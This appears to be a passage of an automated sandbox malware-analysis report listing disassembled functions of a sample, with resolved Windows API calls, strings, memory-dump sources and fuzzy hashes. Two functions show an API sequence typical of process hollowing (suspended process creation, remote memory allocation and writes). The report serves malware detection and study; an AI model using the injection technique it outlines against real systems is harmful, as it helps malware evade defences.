GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 0041C837
GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 0041C848
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 0041C859
GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 0041C86A
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 0041C87B
GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 0041C88C
GetProcAddress.KERNEL32(00000000,FreeLibraryWhenCallbackReturns), ref: 0041C89D
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumber), ref: 0041C8AE
GetProcAddress.KERNEL32(00000000,CreateSymbolicLinkW), ref: 0041C8BF
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 0041C8D0
GetProcAddress.KERNEL32(00000000,GetTickCount64), ref: 0041C8E1
GetProcAddress.KERNEL32(00000000,GetFileInformationByHandleEx), ref: 0041C8F2
GetProcAddress.KERNEL32(00000000,SetFileInformationByHandle), ref: 0041C903
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 0041C914
GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 0041C925
GetProcAddress.KERNEL32(00000000,WakeConditionVariable), ref: 0041C936
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 0041C947
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 0041C958
GetProcAddress.KERNEL32(00000000,InitializeSRWLock), ref: 0041C969
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 0041C97A
GetProcAddress.KERNEL32(00000000,TryAcquireSRWLockExclusive), ref: 0041C98B
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 0041C99C
GetProcAddress.KERNEL32(00000000,SleepConditionVariableSRW), ref: 0041C9AD
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWork), ref: 0041C9BE
GetProcAddress.KERNEL32(00000000,SubmitThreadpoolWork), ref: 0041C9CF
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWork), ref: 0041C9E0
GetProcAddress.KERNEL32(00000000,CompareStringEx), ref: 0041C9F1
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 0041CA02
GetProcAddress.KERNEL32(00000000,LCMapStringEx), ref: 0041CA13

Strings

CloseThreadpoolWait, xrefs: 0041C870
FlsFree, xrefs: 0041C782
WaitForThreadpoolTimerCallbacks, xrefs: 0041C82C
CreateSymbolicLinkW, xrefs: 0041C8B9
FlsGetValue, xrefs: 0041C793
WakeAllConditionVariable, xrefs: 0041C93C
SetThreadpoolWait, xrefs: 0041C85F
GetCurrentProcessorNumber, xrefs: 0041C8A3
AcquireSRWLockExclusive, xrefs: 0041C96F
TryAcquireSRWLockExclusive, xrefs: 0041C980
InitOnceExecuteOnce, xrefs: 0041C7C6
GetLocaleInfoEx, xrefs: 0041C9F7
CreateThreadpoolWait, xrefs: 0041C84E
FlsSetValue, xrefs: 0041C7A4
LCMapStringEx, xrefs: 0041CA08
SleepConditionVariableCS, xrefs: 0041C94D
SetFileInformationByHandle, xrefs: 0041C8F8
kernel32.dll, xrefs: 0041C769
CreateEventExW, xrefs: 0041C7D7
ReleaseSRWLockExclusive, xrefs: 0041C991
WakeConditionVariable, xrefs: 0041C92B
InitializeSRWLock, xrefs: 0041C95E
CloseThreadpoolTimer, xrefs: 0041C83D
InitializeConditionVariable, xrefs: 0041C91A
InitializeCriticalSectionEx, xrefs: 0041C7B5
CreateSemaphoreExW, xrefs: 0041C7F9
CloseThreadpoolWork, xrefs: 0041C9D5
GetFileInformationByHandleEx, xrefs: 0041C8E7
GetTickCount64, xrefs: 0041C8D6
SleepConditionVariableSRW, xrefs: 0041C9A2
FreeLibraryWhenCallbackReturns, xrefs: 0041C892
CreateThreadpoolWork, xrefs: 0041C9B3
CreateThreadpoolTimer, xrefs: 0041C80A
CreateSemaphoreW, xrefs: 0041C7E8
FlushProcessWriteBuffers, xrefs: 0041C881
GetCurrentPackageId, xrefs: 0041C8C5
FlsAlloc, xrefs: 0041C776
CompareStringEx, xrefs: 0041C9E6
SetThreadpoolTimer, xrefs: 0041C81B
SubmitThreadpoolWork, xrefs: 0041C9C4
GetSystemTimePreciseAsFileTime, xrefs: 0041C909

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$CloseThreadpoolTimer$CloseThreadpoolWait$CloseThreadpoolWork$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSemaphoreW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$CreateThreadpoolWork$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetFileInformationByHandleEx$GetLocaleInfoEx$GetSystemTimePreciseAsFileTime$GetTickCount64$InitOnceExecuteOnce$InitializeConditionVariable$InitializeCriticalSectionEx$InitializeSRWLock$LCMapStringEx$ReleaseSRWLockExclusive$SetFileInformationByHandle$SetThreadpoolTimer$SetThreadpoolWait$SleepConditionVariableCS$SleepConditionVariableSRW$SubmitThreadpoolWork$TryAcquireSRWLockExclusive$WaitForThreadpoolTimerCallbacks$WakeAllConditionVariable$WakeConditionVariable$kernel32.dll
API String ID: 667068680-295688737
Opcode ID: 7095254045faed2553d93f0c9490efac9b80fc04d73eb81a88eda45e0edda8b1
Instruction ID: b27cf2173bd35c32a824bf4ef6feeb97883ccbcf9f0634586d8c00e0a98c48d7
Opcode Fuzzy Hash: 7095254045faed2553d93f0c9490efac9b80fc04d73eb81a88eda45e0edda8b1
Instruction Fuzzy Hash: A5612A75952710EBD7016FB4BC4DF893AB8EA09B93B608537F905D21B2E6F88104CB6D

Function 004070A0 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 121memoryprocessthreadCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 004070CD
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 0040712B
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 00407144
GetThreadContext.KERNEL32(?,00000000), ref: 00407159
ReadProcessMemory.KERNEL32(?, ,?,00000004,00000000), ref: 00407179
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 004071BB
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000), ref: 004071D8
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00407291

Strings

VUUU, xrefs: 00406F41
invalid stoi argument, xrefs: 00407090
, xrefs: 00407170

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: ProcessVirtual$AllocMemory$ContextCreateFileFreeModuleNameReadThreadWrite
String ID: $VUUU$invalid stoi argument
API String ID: 3796053839-3954507777
Opcode ID: 27f6c6112b243df7e53398a743d978e592acbef08456db8e92c72c1a99b34ae4
Instruction ID: 38b2a2fa096ae382cc622da32822fc99d79a3e7951b2d8ee4b07a12606b8df86
Opcode Fuzzy Hash: 27f6c6112b243df7e53398a743d978e592acbef08456db8e92c72c1a99b34ae4
Instruction Fuzzy Hash: 59418D74644301BFE7609F50DC06FAA7BE8BF88B05F000529FA84E62D1D7B4E944CB9A

Function 02187157 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 174processmemorythreadCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 02187334
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 02187392
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 021873AB
GetThreadContext.KERNEL32(?,00000000), ref: 021873C0
ReadProcessMemory.KERNEL32(?,00458DF8,?,00000004,00000000), ref: 021873E0

Strings

VUUU, xrefs: 021871A8

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Process$AllocContextCreateFileMemoryModuleNameReadThreadVirtual
String ID: VUUU
API String ID: 338953623-2040033107
Opcode ID: 8d52878efc5f8f8a1e952e44b6c95f7c24c53631ccf418eeef8ebfb25720e601
Instruction ID: 9a4936b257dca154bb4e65a21ae2e481380c801be0e489a1f35c663984525b36
Opcode Fuzzy Hash: 8d52878efc5f8f8a1e952e44b6c95f7c24c53631ccf418eeef8ebfb25720e601
Instruction Fuzzy Hash: 2251C275684340AFD710AB64DC45F9ABBF9BF84B05F104429FA44E62D1DBB0E904CF9A

Function 00420E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00420F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00420F62

Part of subcall function 0042265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 00422750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00420FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00420FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0042103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0042106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 004210C1

Strings

(, xrefs: 00420F22

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: 4022e65b4033ba6d99f09e60be676279313672c4fcdd80b72ccf6c64c13963d5
Instruction ID: d8c2f6391a379bc46cf5e5d5dc6ad3851f43131c5326ae158e38cbfcee68216d
Opcode Fuzzy Hash: 4022e65b4033ba6d99f09e60be676279313672c4fcdd80b72ccf6c64c13963d5
Instruction Fuzzy Hash: 89B18BB0A00625EFCB28CF58E980A7AB7F4FF48700F51416EE905AB751D374A981CB99

Function 021A107A Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 021A117D
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 021A11C9

Part of subcall function 021A28C4: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 021A29B7

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 021A1235
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 021A1251
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 021A12A5
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 021A12D2
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 021A1328

Strings

(, xrefs: 021A1189

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: 97f5cfb5054145a50c69719e5e21d6391f3292fc1eddb95c28002738003bc8bd
Instruction ID: c423225c811a0938e898962252fa427d4ea4bda510a6bd5ce42229cce8dedb5c
Opcode Fuzzy Hash: 97f5cfb5054145a50c69719e5e21d6391f3292fc1eddb95c28002738003bc8bd
Instruction Fuzzy Hash: 45B18EB4A40615AFDB18CF68D9A0B7EB7B5FF44714F14416AD809AB690D370F980CBA4

Function 00421602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00422CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00422D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00421614

Part of subcall function 00422E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 00422E39
Part of subcall function 00422E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00422EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 00421746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 004217A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 004217B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 004217ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 0042180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 0042181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00421823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 0042183B

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: 90d9306956e5cc9bb6704af0189ae29657119f80b0b7e1970bf61bc55afc2ad7
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: FA818C71F00225AFCB18DFA9D580A6EB7F1FF98304B6542AED405A7711CB74AD42CB88

Function 021A1869 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 021A2F63: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 021A2F76

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 021A187B

Part of subcall function 021A3076: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 021A30A0
Part of subcall function 021A3076: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 021A310F

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 021A19AD
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 021A1A0D
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 021A1A19
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 021A1A54
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 021A1A75
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 021A1A81
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 021A1A8A
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 021A1AA2

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: 6945aca3c7d441000d6b93bc45ea8f6724518b9fe2059c553ae053ac905eaa47
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: 92813A79E40625AFCB18CFA8C5A0A6DB7B6FF48304F1545ADD45AAB701C770A942CB90

Function 00442517 Relevance: 10.9, APIs: 5, Strings: 1, Instructions: 373timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00442599
_free.LIBCMT ref: 004425BD
_free.LIBCMT ref: 0044274A
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00456758), ref: 0044275C
_free.LIBCMT ref: 00442916

Strings

XgE, xrefs: 00442705, 0044270B

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: _free$InformationTimeZone
String ID: XgE
API String ID: 597776487-2984570469
Opcode ID: 2b6728d1d25a7a4dc5655f9f1937d483343b97d9f8a5c2cfc13cb8f05322008e
Instruction ID: df7d7efe0813b1fc9665f027b9df2e4c66d539f3229410abaef311319f10ac1b
Opcode Fuzzy Hash: 2b6728d1d25a7a4dc5655f9f1937d483343b97d9f8a5c2cfc13cb8f05322008e
Instruction Fuzzy Hash: 4AC14B71900205ABFB10AF69CE517AFBBA9EF45354F9500AFF88097391E7B88E41C758

Function 004431A8 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00443323

Strings

1#SNAN, xrefs: 004444BA
1#IND, xrefs: 004444B3
1#QNAN, xrefs: 004444C1
1#INF, xrefs: 004444DE

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: ce3e69247486671be022874f0fc313c548611864b1c6192d43177eab318c758e
Instruction ID: 6746934c2724dc80c2da897f8f258f2c486a7fd656fecb76804e093dbfd1dcc1
Opcode Fuzzy Hash: ce3e69247486671be022874f0fc313c548611864b1c6192d43177eab318c758e
Instruction Fuzzy Hash: 44C23971E046288FEB25CE28DD407EAB7B5EB88745F1441EBD84DE7240E778AE818F45

Function 0042EC48 Relevance: 9.1, APIs: 6, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0042EC81

Part of subcall function 00428F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00428F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 0042ECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 0042ECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 0042ED0C

Part of subcall function 0042E7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0042E7D7
Part of subcall function 0042E7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0042E86F
Part of subcall function 0042E7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0042E879
Part of subcall function 0042E7AF: Concurrency::location::_Assign.LIBCMT ref: 0042E8AD
Part of subcall function 0042E7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0042E8B5

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: 61a48eb18c36016cf9376c863cf090d5461b458c764e45c256d8a2d92b022f72
Instruction ID: 5e7ff754d2b343dc4c16742e0cc3e1cb9d27b644ec3e5e3051372794b2f11420
Opcode Fuzzy Hash: 61a48eb18c36016cf9376c863cf090d5461b458c764e45c256d8a2d92b022f72
Instruction Fuzzy Hash: 8051E335B10225EBCF14DF52D885BAEB771AF44314F5540AAE9027B392CB78AE02CB95

Function 021AEEAF Relevance: 9.1, APIs: 6, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 021AEEE8

Part of subcall function 021A9196: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 021A91B7

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 021AEF4E
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 021AEF66
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 021AEF73

Part of subcall function 021AEA16: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 021AEA3E
Part of subcall function 021AEA16: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 021AEAD6
Part of subcall function 021AEA16: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 021AEAE0
Part of subcall function 021AEA16: Concurrency::location::_Assign.LIBCMT ref: 021AEB14
Part of subcall function 021AEA16: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 021AEB1C

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: 61a48eb18c36016cf9376c863cf090d5461b458c764e45c256d8a2d92b022f72
Instruction ID: 5cec9530efe646c7abefa7d6a9d5087fdae27e71c66a87996ff290de32e79494
Opcode Fuzzy Hash: 61a48eb18c36016cf9376c863cf090d5461b458c764e45c256d8a2d92b022f72
Instruction Fuzzy Hash: 59519039A40205AFCF18EF50C8A5BADB776EF44314F1540A9ED027B395CB31AE06CBA1

Function 00436AAE Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00436BA6
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00436BB0
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 00436BBD

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 2eca57a45cd8ef25c7ed16031d4a9fd0f8fa1a06597ba881db52fdbbd8b3e27b
Instruction ID: 1f0ad2aab0448583845f395018efff8d75f4c1db1d39540b3f2c6e774d71cf18
Opcode Fuzzy Hash: 2eca57a45cd8ef25c7ed16031d4a9fd0f8fa1a06597ba881db52fdbbd8b3e27b
Instruction Fuzzy Hash: 5D31C474901329ABCB21DF69DD897CDBBB4BF08314F5091EAE40CA7291E7749B818F49

Function 021B6D15 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 021B6E0D
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 021B6E17
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 021B6E24

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 2eca57a45cd8ef25c7ed16031d4a9fd0f8fa1a06597ba881db52fdbbd8b3e27b
Instruction ID: 363dfc63eab1e78ba9718193599953034dd5b59f58d06dd04650a548571c99d3
Opcode Fuzzy Hash: 2eca57a45cd8ef25c7ed16031d4a9fd0f8fa1a06597ba881db52fdbbd8b3e27b
Instruction Fuzzy Hash: 7D31C274941328ABCF21DF64D8897DDBBB8BF18310F5041EAE41CA7260EB709B858F45

Function 021B6792 Relevance: 4.5, APIs: 3, Instructions: 20COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,021B6791,?,?,?,?,?,021B78C8), ref: 021B67B4
TerminateProcess.KERNEL32(00000000,?,021B6791,?,?,?,?,?,021B78C8), ref: 021B67BB
ExitProcess.KERNEL32 ref: 021B67CD

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 04b207d0b889d00e4800d5972e07640bc64685a596502c952aa2fb778607a5b5
Instruction ID: 845c86cbcc5e7e512369e30362f85d6e5466fb4e33609e4913ed9dcc74bb8ae9
Opcode Fuzzy Hash: 04b207d0b889d00e4800d5972e07640bc64685a596502c952aa2fb778607a5b5
Instruction Fuzzy Hash: AFE0B636050748AFCF126F54DD48A883B79EF50742F144824F80586931CB36D981CB45

Function 0218092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

., xrefs: 0218095F
l, xrefs: 02180966
GetProcAddress., xrefs: 021809DC, 021809DF, 021809E4

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 12504da68fe851acd66978f1aff55e238d901a755d33189b1f9763ae4d0cf1d3
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 91314AB6940609DFDB10DF99C880AAEBBF9FF48324F15414AD845A7310D7B1EA49CFA4

Function 00442D10 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

